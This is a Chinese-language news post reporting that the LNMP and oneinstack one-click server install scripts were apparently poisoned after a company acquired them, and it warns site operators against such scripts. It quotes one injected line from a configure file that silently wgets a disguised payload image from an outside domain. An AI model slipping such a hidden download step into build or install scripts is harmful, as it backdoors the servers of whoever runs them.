國(guó)內(nèi)安全公司發(fā)現(xiàn)知名 Web 集成環(huán)境安裝腳本 “l(fā)nmp 一鍵安裝包” 被投毒，開(kāi)發(fā)者、站長(zhǎng)、企業(yè) IT 管理員下載的一鍵安裝包被加了后門(mén)程序。

當(dāng)時(shí)我們都以為這是 LNMP 一鍵安裝包的服務(wù)器被黑了 (LNMP.org)，不過(guò)后來(lái)有網(wǎng)友發(fā)現(xiàn) LNMP 一鍵安裝包已經(jīng)被金華市矜貴網(wǎng)絡(luò)科技有限公司 (下稱(chēng)金華矜貴) 收購(gòu)。

而關(guān)于安裝包被投毒問(wèn)題金華矜貴沒(méi)有發(fā)布任何聲明，LNMP 論壇的發(fā)帖也遭到管理員刪除。

現(xiàn)在來(lái)看這并不是服務(wù)器被黑了，因?yàn)楸唤鹑A矜貴收購(gòu)的另一個(gè)集成環(huán)境安裝腳本 oneinstack 也被發(fā)現(xiàn)投毒，所以情況很明了了：那就是根本不是服務(wù)器被黑，而是他們自己在腳本里插入了惡意代碼，用來(lái)下載某些惡意軟件，進(jìn)而可以控制大量網(wǎng)站或服務(wù)器，但具體目的尚不清楚。

目前在 GitHub 和 V2EX 上已經(jīng)有帖子在討論這件事，鑒于金華矜貴還試圖收購(gòu)秋水逸冰的 lamp.sh 一鍵安裝包 (但被秋大拒絕了)，他們后續(xù)可能還會(huì)盯上其他一鍵安裝包，因此建議大家不要再使用這類(lèi)一鍵安裝包，否則自己的網(wǎng)站或服務(wù)器可能也會(huì)變成肉雞。

更新：oneinstack 開(kāi)發(fā)者回應(yīng)稱(chēng)：金華市矜貴網(wǎng)絡(luò)科技有限公司收購(gòu)現(xiàn)有的幾個(gè)面板以及安裝包主要是為了布局類(lèi)似寶塔的產(chǎn)品。想依賴 oneinstack 影響力。公司作為項(xiàng)目的投資商。協(xié)商的協(xié)議為公司為項(xiàng)目提供開(kāi)發(fā)資金，并提供所有服務(wù)器資源。

惡意代碼藏在圖片里：

1. pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg

詳細(xì)請(qǐng)看 GitHub 討論：https://github.com/oneinstack/oneinstack/issues/511